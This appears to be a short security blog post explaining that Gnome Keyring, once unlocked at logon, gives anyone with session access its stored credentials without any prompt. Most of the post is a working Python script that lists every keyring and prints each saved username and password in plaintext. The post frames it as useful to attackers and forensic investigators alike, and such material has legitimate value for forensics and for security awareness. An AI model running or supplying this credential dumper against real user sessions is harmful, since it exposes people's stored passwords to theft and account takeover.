Gnome Keyring is a (good:) daemon that stores different security
credentials encrypted in a file in the user’s home directory. It uses the login
password for encryption, and after the keyring is decrypted at logon, the
password is no longer necessary in the current user’s context. An
attacker/forensic investigator can easily extract specific credentials from the
GUI application (Applications -> Accessories -> Passwords and
Encryption Keyrings), without being prompted for anything to authorize him.
Gnome Keyring does not protecting against active attacks (when the attacker has access to user’s session).
The analogous application for KDE is KWallet, working by the same principles. There is a python binding for this too.
Script for dumping gnome keyring credentials:
import gnomekeyring
def extract_keys():
''' Extract the usernames and passwords from all the keyrings'''
for keyring in gnomekeyring.list_keyring_names_sync():
# Get keyring name - "Login" is the default passwords keyring
kr_name = keyring.title()
print "Extracting keys from \"%s\" keyring:" % (kr_name)
items = gnomekeyring.list_item_ids_sync(keyring);
if len(items) == 0:
print "Keyring \"%s\" is empty\n" % (kr_name)
# If keyring is empty, continue to next keyring
continue
for i in range(0, len(items)):
# Get information about an item (like description and secret)
item_info = gnomekeyring.item_get_info_sync(keyring, items[i])
description = item_info.get_display_name()
password = item_info.get_secret()
# Get attributes of an item (retrieve username)
item_attr = gnomekeyring.item_get_attributes_sync(keyring, items[i])
username = item_attr['username_value']
print "[%d] %s" % (i, description)
print " %s:%s" % (username, password)
print ""
if __name__ == '__main__':
extract_keys()
